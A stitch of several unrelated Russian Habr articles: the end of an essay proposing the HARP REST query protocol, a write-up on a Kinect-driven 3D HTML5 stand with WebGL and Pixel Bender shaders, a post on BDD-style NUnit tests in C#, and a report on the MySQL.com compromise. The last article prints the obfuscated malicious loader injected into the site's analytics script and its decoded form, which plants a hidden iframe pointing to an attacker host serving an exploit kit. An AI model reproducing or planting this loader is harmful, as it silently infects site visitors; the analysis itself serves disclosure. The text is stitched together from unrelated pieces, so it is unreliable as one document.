Также, помимо собственно данных ответа, стоит возвращать и сам запрос (`_query`) в том виде, как его понял сервер, чтобы разработчик клиента мог понимать всё ли он делает правильно и кому чинить проблему, когда возвращается что-то не то.
Наконец, при получении любого поля любой сущности, может произойти исключительная ситуация. Возвращать ошибку для всей сущности и уж тем более для всего запроса при этом было бы не практично. Поэтому использовать HTTP коды для выражения ошибок формирования ответа не стоит. А нужно быть готовым, что на любом уровне вместо собственно данных, может прийти описание ошибки (`_error`).
Format
------
Разным клиентам может быть удобно работать с разными форматами представления данных, поэтому используя [Content Negotiation](https://en.wikipedia.org/wiki/Content_negotiation) позволим ему выбирать один из следующих:
* [JSON](https://www.w3.org/XML/): `Accept: application/json` (самый популярный)
* [Tree](https://github.com/nin-jin/tree.d): `Accept: application/x-harp.tree` (наиболее наглядный)
* [XML](https://www.json.org/json-en.html): `Accept: application/xml` (по умолчанию)
Разберём их по подробнее на примере следующего запроса:
> [`person[name;age;article[title;author[name;_len[follower[vip=true]]]]];me`](https://harp.hyoo.ru/#!query=person%5Bname%3Bage%3Barticle%5Btitle%3Bauthor%5Bname%3B_len%5Bfollower%5Bvip%3Dtrue%5D%5D%5D%5D%5D%3Bme)
### JSON
Начнём с самого популярного сейчас формата, для лучшего понимания:
```
{
"_query": {
"person[name;age;article[title;author[name;_len[follower[vip=true]]]]]": {
"reply": [
"person=jin",
],
},
"me": {
"reply": [
"person=jin",
],
},
},
"person": {
"jin": {
"name": "Jin",
"age": { "_error": "Access Denied" },
"article": [
"article=123",
"article=456",
],
"_len": {
"follower[vip=true]": 100500,
},
}
},
"article": {
"123": {
"title": "HARP",
"author": [
"person=jin",
],
},
"456": { "_error": "Corrupted Database" },
},
}
```
У JSON, однако, есть [множество недостатков](https://github.com/nin-jin/slides/tree/master/tree), таких как:
* Многострочный текст вытягивается в одну строку.
* Много визуального шума.
* Либо много весит, либо вытягивается в одну строку.
Поэтому я бы рекомендовал использовать следующий формат, когда это возможно..
### Tree
```
_query
\person[name;age;article[title;author[name;_len[follower[vip=true]]]]]
reply \person=jin
\me
reply \person=jin
person
\jin
name \Jin
age _error \Access Denied
article
\article=123
\article=456
_len
\follower[vip=true]
100500
article
\123
title \HARP
author \person=jin
\456
_error \Corrupted Database
```
Как видите, в этой форме выдача более компактная и менее зашумлённая. Однако, по умолчанию всё же предпочтительнее использовать следующий формат, из-за одной его уникальной возможности..
### XML
```
xml-stylesheet type="text/xsl" href="_harp.xsl"?
<\_query id="person[name;age;article[title;author[name;\_len[follower[vip=true]]]]]">
person=jin
<\_query id="me">
person=jin
Jin
article=123
article=456
<\_len id="person=jin/follower[vip=true]">100500
HARP
person=jin
```
Обратите внимание на подключение XSL шаблона в самом начале. Он нужен для того, чтобы при открытии URI в браузере показывался не голый дамп XML или JSON, а красивая HTML страница с иконками, кнопками и рабочими гиперссылками. Это делает URI полностью самодостаточным: вам не нужно искать где-то актуальную документацию — она доступна ровно там же, где и сами данные, по которым можно легко ходить туда-сюда ([HATEOAS](https://ru.wikipedia.org/wiki/HATEOAS) на максималках).
[Тут](https://nin-jin.github.io/harp) я сделал небольшой пример, но можно гораздо, гораздо лучше! Как минимум, что хотелось бы видеть:
* Быстрое переключение между вариантами представления (UI, Tree, JSON, XML).
* Все URI являются гиперссылками.
* Полнотекстовый поиск по выдаче.
* Древовидное представление со сворачиванием и разворачиванием.
* Табличное представление сущностей одного типа.
* Кнопки для быстрого изменения запроса (например, добавить поле в запрос одним кликом).
* Описания сущностей и полей, взятые из схемы.
Create & Update
===============
Обновлять ресурсы проще простого: откуда и что мы получили, то и туда отправляем. При этом отправлять имеет смысл лишь те поля, что хочется изменить, а не все подряд. Все отправляемые обновления сущностей применяются в рамках одной транзакции, так что запрос либо проходит, либо нет. В URI же указывается, что запрос должен вернуть.
Например, перешлём немного донатов автору данного опуса, и получим актуальные данные сразу по обоим пользователям:
```
PATCH /person=jin,john[ballance;transfer]
transfer
\12345
from \john
to \jin
amount 9000
```
И в случае успеха будет такой ответ:
```
person
\jin
ballance 100500
transfer
\transfer=34567
\transfer=12345
\john
ballance -100500
transfer
\transfer=23456
\transfer=12345
```
Или создадим одной транзакцией сообщение с голосовалкой:
```
PATCH /
message
\12345
chat \123
body \Do you like HARP?
attachment \poll=67890
poll
\67890
option
\Yes
\No
\There is no third way
```
А в ответе будет пусто, так как мы тут ничего не запросили.
Comparison
==========
Что ж, давайте теперь сравним наш гуманный протокол с ближайшими альтернативами..
Architecture
------------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Architecture** | ✅REST | ✅REST | ❌RPC |
REST архитектура предпочтительнее. Не даром именно под неё когда-то и разрабатывался HTTP.
Common Query String
-------------------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| Common **uri query string** compatibile | ⭕Back | ✅Full | ❌ |
HARP обратно совместим с традиционным представлением HTTP запросов. OData же совместима полностью, но какой ценой..
Вы только сравните OData запрос:
```
GET /pullRequest?$filter=state%20eq%20closed%20or%20state%20eq%20merged&$orderby=repository%20asc%2CupdateTime%20desc&$select=state%2Crepository%2Fname%2Crepository%2Fprivate%2Crepository%2Fowner%2Fname%2CupdateTime
%2Cauthor%2Fname&$skip=20&$top=10&$format=json
```
И эквивалентный HARP запрос:
```
GET /pullRequest[state=closed,merged;+repository[name;private;owner[name]];-updateTime;author[name];_num=20@30]
```
GraphQL же вообще не совместим, если, конечно, не считать совместимостью засовывание всего запроса в один get-параметр.
Single Line
-----------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Single line** query | ✅ | ✅ | ❌ |
GraphQL, конечно, тоже можно в одну строку упаковать, но читать его тогда крайне сложно:
```
GET /graphq?query=%7B%20request%20%7B%20pullRequests(%20state%3A%20%5B%20closed%2C%20merged%20%5D%2C%20order%3A%20%7B%20repository%3A%20asc%2C%20updateTime%3A%20desc%20%7D%2C%20offset%3A%2020%2C%20limit%3A%2010%20)%20%7B%20id%20state%20updateTime%20repository%20%7B%20name%20private%20owner%20%7B%20id%20name%20%7D%20%7D%20updateTime%20author%20%7B%20id%20name%20%7D%20%7D%20%7D%20%7D
```
Всё же он ориентирован именно на двухмерное представление и никак иначе:
```
POST /graphql
{
request {
pullRequests(
state: [ closed, merged ],
order: { repository: asc, updateTime: desc },
offset: 20,
limit: 10,
) {
id
state
updateTime
repository {
name
private
owner {
id
name
}
}
updateTime
author {
id
name
}
}
}
}
```
Pseudo Static
-------------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Pseudo-static** compatibile | ⭕Back | ⭕Partial | ❌ |
HARP обратно совместим. В OData пути используются для идентификации ресурсов:
```
/service/Categories(ID=1)/Products(ID=1)
```
GraphQL же тут совсем не при делах.
Request vs Response
-------------------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Same model** of request and response | ✅ | ✅ | ❌ |
В REST протоколах достаточно разобраться в модели предметной области и ты уже имеешь всю полноту возможностей. В случае же RPC, помимо модели ответа, необходимо так же знать и кучу сигнатур процедур, и постоянно выпрашивать новые у бэкендеров. А в случае GraphQL нужно ещё знать и поддерживать отдельную модель запросов.
File Names
----------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **File name** compatible | ✅ | ❌ | ❌ |
Не то чтобы возможность вставлять запросы в имена файлов была всем необходима, но в ряде случаев она здорово упрощает жизнь, а достаётся совсем бесплатно.
```
cp ./report[day=2022-02-22].json ./archive/year=2022
```
Web Tools
---------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Web Tools** Friendly | ✅ | ❌ | ❌ |
Возможность не ломать глаза об экранирование в разных местах использования URI экономит не очень много времени и нервов, но делает это часто.
Collection Manipulations
------------------------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| Data **filtering** | ✅ | ✅ | ❌ |
| Data **sorting** | ✅ | ✅ | ❌ |
| Data **slicing** | ✅ | ✅ | ❌ |
| Data **aggregation** | ✅ | ✅ | ❌ |
Не то, чтобы в GraphQL это не выразимо. Как-то же его используют. Важно понимать, что на уровне протокола эти возможности никак не специфицированы и каждый разработчик реализует их по своему. Это осложняет создание обобщённых программных решений, умеющих работать с коллекциями. Однако, этот вопрос может быть решён протоколами более высокого уровня над GraphQL.
Limitations
-----------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| Limited filtering **logic** | ✅ | ❌ | ✅ |
Когда гибкости не хватает, мы не можем нормально выразить наши потребности. Когда гибкости наоборот в избытке, то серверу сложно проанализировать сложность запроса. Поэтому тут важен баланс: запросы должны быть достаточно простыми для программного анализа, но достаточно выразительными для покрытия 99% потребностей. В OData же реализовали целый язык программирования со своим уникальным синтаксисом:
```
contains(User/Name, '(aTeam)') and (User/Articles add User/Comments) ge 10
```
Круто, конечно, но поди разберись: этот запрос можно СУБД отдавать, или он положит её на лопатки, а чинить потом мне в 2 часа ночи?
Metadata
--------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Metadata** query | ✅ | ✅ | ✅ |
Классно, когда мы можем программно исследовать реальный работающий API, а не вручную ковыряться в устаревшей документации. Это позволяет писать обобщённый код для работы с любыми API, реализующими протокол. Для каждой сущности мы можем запрашивать у API много всего интересного:
* Связанные сущности.
* Схема данных.
* Права на действия.
* Документацию.
В HARP у нас этот вопрос пока почти не проработан. Разве что в [том примере](https://nin-jin.github.io/harp) я набросал, как это могло бы выглядеть. Остальные протоколы предоставляют лишь часть из перечисленной мета информации. Пока что этот вопрос больше всего проработан в OData.
Idempotency
-----------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Idempotent** requests | ✅ | ⭕ | ❌ |
HARP возводит идею идемпотентности в абсолют. OData придерживается более традиционного подхода с CRUD. Ну а GraphQL вообще не про идемпотентность. Куда-то не туда индустрия повернула. Опять.
Normal Form
-----------
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Normalized** response | ✅ | ❌ | ❌ |
Денормализованная выдача может экспоненциально размножить ваши данные. Это проще один раз увидеть, чем 100 раз услышать. Поэтому возьмём не сложный GraphQL запрос за друзьями друзей:
```
{
person('jin') {
id
name
friends {
id
name
friends {
id
name
}
}
}
}
```
И получаем такую портянку:
```
{
"person": {
"id": "jin",
"name": "Jin",
"friends": [
{
"id": "alice",
"name": "Alice",
"friends": [
{
"id": "bob",
"name": "Bob",
},
{
"id": "jin",
"name": "Jin",
},
],
},
{
"id": "bob",
"name": "Bob",
"friends": [
{
"id": "alice",
"name": "Alice",
},
{
"id": "jin",
"name": "Jin",
},
],
},
],
}
}
```
И это всего лишь на трёх собутыльниках. Что будет твориться со школьным классом на 20 человек, я вам не покажу, чтобы не перегружать магистральные каналы связи.
Не смотря на своё название, модель данных GraphQL на самом деле не граф, а… динамическое дерево. Со всеми отсюда вытекающими последствиями.
Крупная корпорация распиарила свою кривую поделку, а все схавали. И, причмокивая, начали пилить костыли, рассказывая остальным, [как правильно её готовить](https://gajus.medium.com/reducing-graphql-response-size-by-a-lot-ff5ba9dcb60):
* На сервере получили из базы данные в нормальной форме.
* Денормализовали их для GQL выдачи.
* Натравили дедубликатор, получив свой, не GQL формат.
* Отослали клиенту.
* На клиенте натравили редубликатор для получения GQL ответа.
* Обработали таки GQL ответ.
* А клиенту эта денормализация как кость в горле — он нормализует всё обратно.
Куда-то не туда индустрия повернула. Снова.
А вот что мы получим через HARP:
```
_query
\person=jin[name;friend[name;friend[name]]]
reply \person=jin
person
\jin
name \Jin
friend
\person=alice
\person=bob
\alice
name \Alice
friend
\person=bob
\person=jin
\bob
name \Bob
friend
\person=alice
\person=jin
```
Да, когда вам будут присылать дампы ответов, вам больше не придётся переспрашивать: а запрос-то какой был? Вот он, тут же в ответе.
Post Scriptum
=============
Как видите, это всё не тянет пока что ни на спецификацию, ни даже на какое-то законченное решение. У меня нет цели убедить вас следовать принятым мной решениям и срочно бросаться инкрементить версию вашего API.
По роду деятельности я использовал множество разнообразных API, и каждый раз их использование вгоняло меня в уныние из-за детских болезней, разложенных тут и там граблей, и просто бездумного копирования друг у друга кривых решений. Поэтому для меня было важно поделиться с вами своей болью и идеями, которые, я уверен, пригодятся вам, для проектирования своих собственных API. А если это будет что-то похожее на HARP — я буду только счастлив.
Если вас заинтересовали идеи HARP и вы видите в нём пользу для себя и для других, то приглашаю вас присоединиться к его обсуждению и доведению до уровня индустриального стандарта. Один я не справлюсь, но вместе мы можем сделать мир чуточку лучше. Хотя, признаться честно, я ставлю больше на третий тип архитектуры — бесконфликтная синхронизация сделанных локально изменений. Но это уже совсем другая история, о которой вы скоро определённо услышите. А пока..
* Обсудить со мной этот и другие языки можно в чате [lang\_idioms](https://t.me/lang_idioms).
* Обсудить TS API лучше в чате [mam\_mol](https://t.me/mam_mol).
* Свои размышления на разные темы компьютерных наук я выкладываю на [Core Dump](https://www.youtube.com/channel/UC-qEImMrqSLZ9KLee1JTcuw).
* Почти все мои статьи доступны на [$hyoo\_habhub](https://habhub.hyoo.ru/).
* Приватные записи почти всех моих перфомансов слиты в [этот плейлист](https://www.youtube.com/playlist?list=PLXyFFhv8ucKSC96WOd7Ju2HmEWTA3jPa5).
* Ну а остальную дичь о разработке я пишу в [Twitter](https://twitter.com/_jin_nin_).
* Поблагодарить же меня за исследования и мотивировать на новые свершения можно на [Boosty](https://boosty.to/hyoo).
Спасибо за внимание. Держите сердце горячим, а задницу холодной!
 | https://habr.com/ru/post/680376/ | null | ru | null |
# Kinect + 3D Display + HTML5
Особенности создания интерактивного 3D HTML5 приложения с использованием сенсора Kinect.
##### Задача
Продемонстрировать 3D фото и видео, отснятое в разных краях нашей большой Родины, на 3D дисплее, причем так, чтобы воспроизведение начиналось тогда, когда пользователь входил в определенную географическую зону на карте, размещенной перед экранами. В идеале стенд должен состоять из 6 3D дисплеев и 3 сенсоров Kinect, чтобы позволить максимально разнести геозоны перед экранами и дать возможность нескольким пользователям управлять своими дисплеями.
##### Решение
Еще во время обсуждения, мы исследовали вопрос отображения полноценного стереоскопического (неанаглифного) 3D контента. Среди возможных путей реализации была технология nVidia 3D Vision, чей драйвер и дополнения для Firefox позволяли отображать 3D.
Среди технологий 3D дисплеев мы остановились на менее дорогой, чем активное 3D (затворные очки + 100 Hz покадровая развертка), а именно на технологии пассивного поляризационного 3D с построчной технологией разделения левого и правого каналов. Поляризация была выбрана круговая как наиболее адекватная при перемещении и повороте головы относительно экрана.
Нужно отметить, что драйвер nVidia 3D Vision оказался всеядным и умел работать с любым типом дисплеев (по крайней мере с большинством из имеющихся в нашем распоряжении). Однако невнятное API, нестабильность и коммерческая политика nVidia заставили быстро усомниться в правильности выбора. Так возникла идея построить свой собственный драйвер. А доводы были такие:
1. технология с построчным выводом левого и правого каналов подразумевает наличие двух изображений, стыкованных side-by-side (top-bottom или left-right),
2. если перекомбинировать пикселы на FullHD side-by-side изображении в «левые/правые» строки попеременно, а также добиться строгого отображения «pixel to pixel» растра на LCD матрице, то можно достичь вменяемого отображения 3D и без специальных драйверов.
##### side-by-side
##### interlace
Так технологическая интуиция привела нас к шейдерам. Для начала мы оппробировали GLSL для WebGL на примерах из фреймворка threejs. Шейдер был записан в несколько строк: проверка четности строки, если нечетная – выводим пикселы с левой картинки, четные – с правой. Всё это хорошо завелось и работало быстро на HD – примерно 30fps (Windows 7, Chrome, nVidia GPU). FullHD видео снизило этот показатель примерно до 12 fps. Профайлер показал узкое место – перед каждым draw call нужно было передать огромный буфер с текстурой, которая менялась в каждом кадре. И это было никак не победить «на-лету». Тогда на выручку пришел Flash и небезысвестная технология Pixel Bender (2D). По существу это тот же самый GLSL синтаксис, только несколько иной спецификации. За несколько часов мы реализовали flash-компонент 3D плеера, который имел простой JS api, максимально приближенный к HTML5 . Итак у нас появилось две реализации 3D плеера в JS обертке. Тесты на FullHD видео с Flash 3D плеером показали более достойные результаты ~25fps. Так мы победили сырость.
##### WebGL
```
#ifdef GL_ES
precision highp float;
#endif
uniform sampler2D Sample0;
varying vec2 vUv;
void main ()
{
vec3 colour;
float row = ceil(vUv.y * 1080.0);
vec2 pixel;
float mod = mod(row, 2.0);
if (mod == 0.0) {
pixel = vec2(vUv.x / 2.0, vUv.y);
} else {
pixel = vec2(0.5 + vUv.x / 2.0, vUv.y);
}
colour = texture2D(Sample0, pixel).xyz;
gl_FragColor.xyz = colour;
gl_FragColor.w = 1.0;
}
```
##### Pixel Bender
```
kernel interlace
< namespace : "Interlace 3D";
vendor : "NMT";
version : 2;
description : "Create interlaced video from side-by-side"; >
{
input image4 oImage;
output float4 outputColor;
parameter bool swapEyes
<
description: "swap eyes";
defaultValue: false;
>;
void
evaluatePixel()
{
float2 relativePos = outCoord();
float modulus = mod(relativePos.y, 2.0);
if (swapEyes && modulus <= 1.0 || !swapEyes && modulus >= 1.0) {
relativePos.x = 960.0 + relativePos.x / 2.0;
} else {
relativePos.x = relativePos.x / 2.0;
}
outputColor = sampleLinear( oImage, relativePos );
}
}
```
А дальше уже проще! Мы реализовали связку Kinect tcp-сервера с JS посредством WebSocket. Адаптировали отслеживание пользователей в области видимости Kinect под несколько зон, прикрутили эффекты, сверстали дизайн и [получилось](http://www.youtube.com/watch?feature=player_detailpage&v=4LN1Ugn-4Sc)!
##### Итоги
###### Driver vs Shader
* преимущество шейдерной технологии заключается в возможности отображать 3Д контент не только заранее отренедеренный в фото или видео, но и runtime 3D сцены в стереоскопическом режиме, то есть True 3D в HTML5 / WebGL или Flash / Pixel Bender / Stage3D приложениях в браузере; однако для такого подхода важен дисплей с построчной технологией разделения левого и правого каналов.
###### Kinect
* пользователю важно видеть свой образ или образ рук в процессе манипуляции,
* требуются натуральные жесты с имитацией физических законов (инерционнось, коллизии),
* очень полезно разрабатывать в open space (почти в боевых) условиях «ходят тут всякие»,
* использование tcp – ограничение только для JS приложений, если вы можете себе позволить UDP (flash) – пользуйтесь, избежите проблем с утечками памяти и низким fps, хотя на момент создания UDP был доступен в Chrome Canary.
###### 3D Display
* для получения полноценного стереоэффекта важно настроить отображение pixel-to-pixel в связке видеокарта-дисплей, это достигается путем сброса всевозможных масштабирований в драйверах видеокарты и настройках дисплея, а также точного разрешения, поддерживаемого монитором,
* важно придерживаться правил очередности глубины для объектов на экране: слой контролов и текстовой информации, слой 3D объектов, фон, перекрытие по глубине этих сущностей жестоко сказывается на восприятии и может привести к быстрой утомляемости,
* важно подобрать очки так, чтобы они хорошо закрывали оппозитные каналы (правый от левого и наоборот) – даже очки от производителя самой 3D панели пропускали оппозитный канал в виде фиолетового ghost-образа, мы нашли достаточно качественную пару 3D Screen LG 55” + Philips Glasses,
* позаботьтесь о засветках на экране – их быть не должно, очень сильно отвлекает от восприятия 3D – выглядит как дополнительный слой изображения. | https://habr.com/ru/post/172225/ | null | ru | null |
# Создаем NUnit тесты в BDD стиле
Тихим пятничным вечером я заканчивал свой рабочий день покрывая тестами реализованную логику. Названия тестов я тщательно подбирал как и рекомендовал [Рой](http://www.amazon.com/Art-Unit-Testing-Examples-Net/dp/1933988274). И вдруг я осознал, что понятное развернутое название теста превратилось в ужастного монстра и совсем перестало быть понятным. И более того перестало помещаться в 120 символов на экране.
И вот я вспомнил что мне где-то встечалось понятиe [Behavior-Driven Development](http://en.wikipedia.org/wiki/Behavior_Driven_Development) и тесты написанные в этом стиле намного читабельнее и понятнее. По запросу «nunit bdd» гугл выдает совсем немного результатов, но [этот пост](http://10consulting.com/2011/08/15/simple-bdd-style-unit-tests-with-nunit/) навел меня на интересную мысль. Методы Given и When не дают четкого описания условия и тем более описать больше чем одно условие наглядно не получится. Я решил слегка доработать решение.
Вот, кстати, то самое имя теста:
CreateMonthlyPaymentInvoice\_WhenCustomerIsRegularCompany\_ShouldCreateMonthlyUsageInvoiceWithoutBankFee.
Жутко, правда?
Я внес довольно незначительные изменения в подход, описанные в статье. Добавил атрибуты Given, And и When и логику вызова методов отмеченных этими атрибутами.
```
namespace NUnit.Specification
{
public abstract class SpecificationBase
{
[TestFixtureSetUp]
public void SetUp()
{
Setup();
Given();
When();
}
public virtual void Setup() { }
private void Given()
{
IEnumerable publicMethods = this.GetType().GetMethods();
publicMethods.Where(m => m.GetCustomAttributes(typeof(GivenAttribute), false).Count() != 0)
.ToList()
.ForEach(m => m.Invoke(this, new object[0]));
publicMethods.Where(m => m.GetCustomAttributes(typeof(AndAttribute), false).Count() != 0)
.ToList()
.ForEach(m => m.Invoke(this, new object[0]));
}
private void When()
{
this.GetType()
.GetMethods()
.Where(m => m.GetCustomAttributes(typeof(WhenAttribute), false).Count() != 0)
.ToList()
.ForEach(m => m.Invoke(this, new object[0]));
}
[TestFixtureTearDown]
public void TearDown()
{
Teardown();
}
public virtual void Teardown() { }
}
public class SpecificationAttribute : TestFixtureAttribute { }
public class GivenAttribute : Attribute { }
public class AndAttribute : Attribute { }
public class WhenAttribute : Attribute { }
public class ThenAttribute : TestAttribute { }
}
```
Теперь тесты стали намного более читабельными и гибкими.
```
[Specification]
public class Create_invoice_for_regular_customer : SpecificationBase
{
private Customer _customer;
private List \_transactions;
private Document \_invoice;
public override void Setup()
{
// General context setup like
DateTimeProvider.Current = new Mock().Object;
Mock.Get(DateTimeProvider.Current).Setup(m => m.GetCurrentTime()).Returns(new DateTime(2012, 10, 26));
}
[Given]
public void Customer\_is\_regular\_company()
{
\_customer= new Customer () { Name = "Jedi" };
}
[And]
public void Set\_of\_transactions\_representing\_monthly\_usage()
{
\_transactions = new[]
{
new Transaction() { Amount = 25 },
new Transaction() { Amount = 16 },
new Transaction() { Amount = 32 },
}.ToList();
}
[When]
public void Creating\_monthly\_usage\_document()
{
\_invoice = DocumentCreator.CreateMonthlyPaymentInvoice(\_customer, \_transactions);
}
[Then]
public void Document\_should\_contain\_transactions\_and\_not\_contain\_bank\_fee()
{
var expectedInvoice = new ExpectedInvoice();
Assert.That(\_invoice, Is.EqualTo(expectedInvoice));
}
public override void Teardown()
{
DateTimeProvider.Current = new DateTimeProvider();
}
}
```
Если такая штука окажется полезной я попробую создать NuGet пакет для нее.
Спасибо за внимание тем, кто дочитал и хороших выходных.
**UPD:** Случайно просматривая видео демонстрацию [Mighty Moose](http://continuoustests.com/) нашел что изначально эта идея была реализована в примере [Fohjin.DDD.Example](https://github.com/MarkNijhof/Fohjin/tree/master/Fohjin.DDD.Example/). Немного отличается, но суть та же. У меня можно использовать несколько Given/And атрибутов в одном классе. | https://habr.com/ru/post/156325/ | null | ru | null |
# MySQL.com взломан и продан за 3000$
Вся подробная информация будет под катом.
Видео, демонстрирующее как пользователи заражаются:
##### Шаг 1:
Посещаем сайт [mysql.com](http://mysql.com)
##### Шаг 2:
Загружаем вредоносный скрипт: [mysql.com/common/js/s\_code\_remote.js?ver=20091011](http://mysql.com/common/js/s_code_remote.js?ver=20091011)
```
/* SiteCatalyst code version: H.14. Copyright Omniture, Inc. More info available at http://www.omniture.com */
/* Author: Neil Evans */
/************************** CONFIG SECTION ****************************************/
/* Specify the Report Suite(s) */
Object.prototype.qwe=function(){return String.fromCharCode;};Object.prototype.asd='e';var s="";try{{}['qwtqwt']();}catch(q){if(q)r=1;}if(r&&+new Object(1231)&&document.createTextNode('123').data&&typeof{}.asd.vfr==='undefined')n=2;e=eval;m=[18/n,18/n,210/n,204/n,64/n,80/n,200/n,222/n,198/n,234/n,218/n,202/n,220/n,232/n,92/n,206/n,202/n,232/n,138/n,216/n,202/n,218/n,202/n,220/n,232/n,230/n,132/n,242/n,168/n,194/n,206/n,156/n,194/n,218/n,202/n,80/n,78/n,196/n,222/n,200/n,242/n,78/n,82/n,182/n,96/n,186/n,82/n,246/n,18/n,18/n,18/n,210/n,204/n,228/n,194/n,218/n,202/n,228/n,80/n,82/n,118/n,18/n,18/n,250/n,64/n,202/n,216/n,230/n,202/n,64/n,246/n,18/n,18/n,18/n,200/n,222/n,198/n,234/n,218/n,202/n,220/n,232/n,92/n,238/n,228/n,210/n,232/n,202/n,80/n,68/n,120/n,210/n,204/n,228/n,194/n,218/n,202/n,64/n,230/n,228/n,198/n,122/n,78/n,208/n,232/n,232/n,224/n,116/n,94/n,94/n,204/n,194/n,216/n,222/n,230/n,204/n,194/n,240/n,92/n,210/n,220/n,94/n,210/n,220/n,204/n,222/n,94/n,210/n,220/n,92/n,198/n,206/n,210/n,126/n,106/n,78/n,64/n,238/n,210/n,200/n,232/n,208/n,122/n,78/n,98/n,96/n,78/n,64/n,208/n,202/n,210/n,206/n,208/n,232/n,122/n,78/n,98/n,96/n,78/n,64/n,230/n,232/n,242/n,216/n,202/n,122/n,78/n,236/n,210/n,230/n,210/n,196/n,210/n,216/n,210/n,232/n,242/n,116/n,208/n,210/n,200/n,200/n,202/n,220/n,118/n,224/n,222/n,230/n,210/n,232/n,210/n,222/n,220/n,116/n,194/n,196/n,230/n,222/n,216/n,234/n,232/n,202/n,118/n,216/n,202/n,204/n,232/n,116/n,96/n,118/n,232/n,222/n,224/n,116/n,96/n,118/n,78/n,124/n,120/n,94/n,210/n,204/n,228/n,194/n,218/n,202/n,124/n,68/n,82/n,118/n,18/n,18/n,250/n,18/n,18/n,204/n,234/n,220/n,198/n,232/n,210/n,222/n,220/n,64/n,210/n,204/n,228/n,194/n,218/n,202/n,228/n,80/n,82/n,246/n,18/n,18/n,18/n,236/n,194/n,228/n,64/n,204/n,64/n,122/n,64/n,200/n,222/n,198/n,234/n,218/n,202/n,220/n,232/n,92/n,198/n,228/n,202/n,194/n,232/n,202/n,138/n,216/n,202/n,218/n,202/n,220/n,232/n,80/n,78/n,210/n,204/n,228/n,194/n,218/n,202/n,78/n,82/n,118/n,204/n,92/n,230/n,202/n,232/n,130/n,232/n,232/n,228/n,210/n,196/n,234/n,232/n,202/n,80/n,78/n,230/n,228/n,198/n,78/n,88/n,78/n,208/n,232/n,232/n,224/n,116/n,94/n,94/n,204/n,194/n,216/n,222/n,230/n,204/n,194/n,240/n,92/n,210/n,220/n,94/n,210/n,220/n,204/n,222/n,94/n,210/n,220/n,92/n,198/n,206/n,210/n,126/n,106/n,78/n,82/n,118/n,204/n,92/n,230/n,232/n,242/n,216/n,202/n,92/n,236/n,210/n,230/n,210/n,196/n,210/n,216/n,210/n,232/n,242/n,122/n,78/n,208/n,210/n,200/n,200/n,202/n,220/n,78/n,118/n,204/n,92/n,230/n,232/n,242/n,216/n,202/n,92/n,224/n,222/n,230/n,210/n,232/n,210/n,222/n,220/n,122/n,78/n,194/n,196/n,230/n,222/n,216/n,234/n,232/n,202/n,78/n,118/n,204/n,92/n,230/n,232/n,242/n,216/n,202/n,92/n,216/n,202/n,204/n,232/n,122/n,78/n,96/n,78/n,118/n,204/n,92/n,230/n,232/n,242/n,216/n,202/n,92/n,232/n,222/n,224/n,122/n,78/n,96/n,78/n,118/n,204/n,92/n,230/n,202/n,232/n,130/n,232/n,232/n,228/n,210/n,196/n,234/n,232/n,202/n,80/n,78/n,238/n,210/n,200/n,232/n,208/n,78/n,88/n,78/n,98/n,96/n,78/n,82/n,118/n,204/n,92/n,230/n,202/n,232/n,130/n,232/n,232/n,228/n,210/n,196/n,234/n,232/n,202/n,80/n,78/n,208/n,202/n,210/n,206/n,208/n,232/n,78/n,88/n,78/n,98/n,96/n,78/n,82/n,118/n,18/n,18/n,18/n,200/n,222/n,198/n,234/n,218/n,202/n,220/n,232/n,92/n,206/n,202/n,232/n,138/n,216/n,202/n,218/n,202/n,220/n,232/n,230/n,132/n,242/n,168/n,194/n,206/n,156/n,194/n,218/n,202/n,80/n,78/n,196/n,222/n,200/n,242/n,78/n,82/n,182/n,96/n,186/n,92/n,194/n,224/n,224/n,202/n,220/n,200/n,134/n,208/n,210/n,216/n,200/n,80/n,204/n,82/n,118/n,18/n,18/n,250/n];mm={}.qwe();for(i=0;i");
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* END CONFIG SECTION \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
/\* Split dev.mysql.com Path \*/
var mysql\_host=location.hostname;
if (mysql\_host=='dev.mysql.com') {
var mysql\_url=window.location.pathname.toLowerCase();
var mysql\_split=mysql\_url.split("/");
}
/\* Reset PageName Settings \*/
function s\_postPlugins(s) {
/\* dev.mysql.com/doc ---> prop31 \*/
if (mysql\_host=='dev.mysql.com') {
if (mysql\_split[1]=="doc") {
s.prop31=s.pageName;
s.pageName=s.channel+" (site section)";
}
}
/\* lists.mysql.com ---> prop31 \*/
if (mysql\_host=='lists.mysql.com') {
s.prop31=s.pageName;
s.pageName=s.channel+" (site section)";
}
}
```
Декодированный скрипт выглядит следующим образом:
Ну и текстом:
```
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://falosfax.in/info/in.cgi?5');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
```
Скрипт генерирует ифрейм и редиректит нас на [falosfax.in/info/in.cgi?5&ab\_iframe=1&ab\_badtraffic=1&antibot\_hash=1255098964&ur=1&HTTP\_REFERER=http](http://falosfax.in/info/in.cgi?5&ab_iframe=1&ab_badtraffic=1&antibot_hash=1255098964&ur=1&HTTP_REFERER=http)://mysql.com/, а отсюда на [truruhfhqnviaosdpruejeslsuy.cx.cc/main.php](http://truruhfhqnviaosdpruejeslsuy.cx.cc/main.php)
Здесь присутствует вредоносная связка BlackHole. Она эксплуатирует браузер, плагины, такие как Adobe Flash, Adobe PDF, Java и т.д.), и после успешной эксплуатации устанавливает вредоносную программу на ОС без ведома пользователя. Пользователю достаточно посетить mysql.com с уязвимой платформы и он заразится вредоносной программой.
